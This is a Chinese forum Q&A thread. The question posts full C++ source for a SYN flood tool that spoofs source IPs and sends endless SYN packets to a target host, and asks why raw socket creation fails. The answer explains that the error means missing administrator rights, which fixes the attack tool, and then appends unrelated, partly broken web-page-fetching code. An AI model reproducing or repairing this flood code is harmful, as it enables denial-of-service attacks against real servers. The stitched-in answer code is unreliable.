关于洪水攻击原理C++代码实现的问题

Question

#include

#include

#include

#include

#define SEQ 0x28376839

#define SYN_DEST_IP "127.0.0.1"//被攻击的IP

#define FAKE_IP "10.168.150.1" //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段

#define STATUS_FAILED 0xFFFF//错误返回值

#pragma comment(lib, "Ws2_32.lib")

typedef struct _iphdr//定义IP首部

{

unsigned char h_verlen;//4位首部长度,4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len;//16位总长度（字节）

unsigned short ident;//16位标识

unsigned short frag_and_flags;//3位标志位

unsigned char ttl;//8位生存时间 TTL

unsigned char proto; //8位协议 (TCP, UDP 或其他)

unsigned short checksum;//16位IP首部校验和

unsigned int sourceIP;//32位源IP地址

unsigned int destIP; //32位目的IP地址

}IP_HEADER;

struct//定义TCP伪首部

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz;

char ptcl; //协议类型

unsigned short tcpl; //TCP长度

}psd_header;

typedef struct _tcphdr //定义TCP首部

{

USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres;//4位首部长度/6位保留字

unsigned char th_flag;//6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量

}TCP_HEADER;

//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) {

cksum += (UCHAR)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

//SynFlood主函数

int main(int argc, char **argv)

{

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

int TimeOut=2000,SendSEQ=0;

char SendBuf[128];

char DestIP[16];

memset(DestIP, 0, 4);
if(argc < 2)
strcpy(DestIP, SYN_DEST_IP);
else
strcpy(DestIP, argv[1]);
WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

TCP_HEADER tcp_header;

//初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);

ExitProcess(STATUS_FAILED);

}

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);

if (SockRaw==INVALID_SOCKET){

fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n");

__try{

//设置发送超时

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR){

fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(DestIP);

FakeIpNet=inet_addr(FAKE_IP);

FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位IP版本号，低四位首部长度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度（字节）

ip_header.ident=1; //16位标识

ip_header.frag_and_flags=0; //3位标志位
ip_header.ttl=128; //8位生存时间TTL

ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…)

ip_header.checksum=0;//16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址

ip_header.destIP=inet_addr(DestIP); //32位目的IP地址

//填充TCP首部

tcp_header.th_sport=htons(7000);//源端口号

tcp_header.th_dport=htons(8080);//目的端口号

tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号

tcp_header.th_ack=0; //ACK序列号置为0

tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位

tcp_header.th_flag=2;//SYN 标志

tcp_header.th_win=htons(16384); //窗口大小

tcp_header.th_urp=0; //偏移

tcp_header.th_sum=0; //校验和

//填充TCP伪首部（用于计算校验和，并不真正发送）

psd_header.saddr=ip_header.sourceIP;//源地址

psd_header.daddr=ip_header.destIP;//目的地址

psd_header.mbz=0;

psd_header.ptcl=IPPROTO_TCP;//协议类型

psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度
printf("%s\n", DestIP);

while(1) {

//每发送10000个报文输出一个标示符

printf(".");

for(counter=0;counter<10000;counter++){

if(SendSEQ++==65536) SendSEQ=1;//序列号循环

//更改IP首部

ip_header.checksum=0;//16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址

//更改TCP首部

tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号

tcp_header.th_sum=0; //校验和

//更改TCP Pseudo Header

psd_header.saddr=ip_header.sourceIP;

//计算TCP校验和，计算校验和时需要包括TCP pseudo header

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

//计算IP校验和

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

datasize=sizeof(ip_header)+sizeof(tcp_header);

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

//填充发送缓冲区

memcpy(SendBuf,&ip_header,sizeof(ip_header));

//发送TCP报文

ErrorCode=sendto(SockRaw,

SendBuf,

datasize,

0,

(struct sockaddr*) &DestAddr,

sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());

}//End of for

}//End of While

}//End of try

__finally {

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

WSACleanup();

}

return 0;

}

运行后只出现WSASocket() failed: 10013这样的结果 想知道是什么问题

Answer 1

百度上说是权限不足！

程序的权限不够，应用管理员权限打开程序运行方可。

#include
#include
#include
#include
#include
using namespace std;
/************************************************************************/
/* c语言 socket方式获取网页源码 /
/***********************************************************************/
int geturl(char url)
{
WSADATA WSAData={0};
SOCKET sockfd;
struct sockaddr_in addr;
struct hostent *pURL;
char myurl[BUFSIZ];
char *pHost = 0, *pGET = 0;
char host[BUFSIZ], GET[BUFSIZ];
char header[BUFSIZ] = "";
static char text[BUFSIZ+1];
int iRet = -100;
int ilen=0;
/
* windows下使用socket必须用WSAStartup初始化，否则不能调用
*/
if(WSAStartup(MAKEWORD(2,2), &WSAData)) //加载socket 2.2通讯协议库
{
printf("WSA failed\n");
return -1;
}

strcpy(myurl, url); 
for (pHost = myurl; *pHost != '/' && *pHost != '\0'; ++pHost); 
if ( (int)(pHost - myurl) == strlen(myurl) ) 
    strcpy(GET, "/"); 
else 
    strcpy(GET, pHost); 
*pHost = '\0'; 
strcpy(host, myurl); 
printf("%s\n%s\n", host, GET); 
//          getprotobyname("tcp");                      //返回对应于给定协议名的相关协议信息。    
sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);     //建立socket通讯
if (sockfd<0)
{
    T_SaveLog_KF("打开sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);失败");
    printf_my("打开sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);失败");
    return -2;
}
pURL = gethostbyname(host);                             //gethostbyname()函数说明——用域名或主机名获取IP地址
if (pURL==NULL)
{
    T_SaveLog_KF("用域名或主机名获取IP地址失败！下面将无法设置（addr.sin_family = AF_INET; addr.sin_addr.s_addr = *((unsigned long*)pURL->h_addr); addr.sin_port = htons(80); ）pURL = gethostbyname(host);");
    printf_my("用域名或主机名获取IP地址失败！下面将无法设置（addr.sin_family = AF_INET; addr.sin_addr.s_addr = *((unsigned long*)pURL->h_addr); addr.sin_port = htons(80); ）pURL = gethostbyname(host);");
    return -3;
}

addr.sin_family = AF_INET; 
addr.sin_addr.s_addr = *((unsigned long*)pURL->h_addr); 
addr.sin_port = htons(80); 
strcat(header, "GET "); 
strcat(header, GET); 
strcat(header, " HTTP/1.1\r\n"); 
strcat(header, "HOST: "); 
strcat(header, host); 
strcat(header, "\r\nConnection: Close\r\n\r\n");        // "GET / HTTP/1.1\r\nHOST: www.baidu.com\r\nConnection:Clos\r\n" 
iRet = connect(sockfd,(SOCKADDR *)&addr,sizeof(addr)); 
if (iRet != 0)
{
    T_SaveLog_KF("连接失败：connect(sockfd,(SOCKADDR *)&addr,sizeof(addr));");
    printf_my("连接失败：connect(sockfd,(SOCKADDR *)&addr,sizeof(addr));");
    WSAGetLastError();
    return -4;
}
send(sockfd, header, strlen(header), 0);    //发送请求
//ofstream fout("saveHTMLfile.html");
ofstream fout("saveHTMLfile.html",ios::app|ios::in);    //追加方式若文件不存在则创建
memset(text,'\0',sizeof(text));
while ( recv(sockfd, text, BUFSIZ, 0) > 0)  //接受请求信息返回的数据
{ 
    fout<<text;
    cout<<text;
    //strnset(text, '\0', BUFSIZ);
    strnset(text, '\0', ilen = strlen(text)+1);
} 
closesocket(sockfd); 
WSACleanup();   //释放加载的socket 库资源
return 0;

}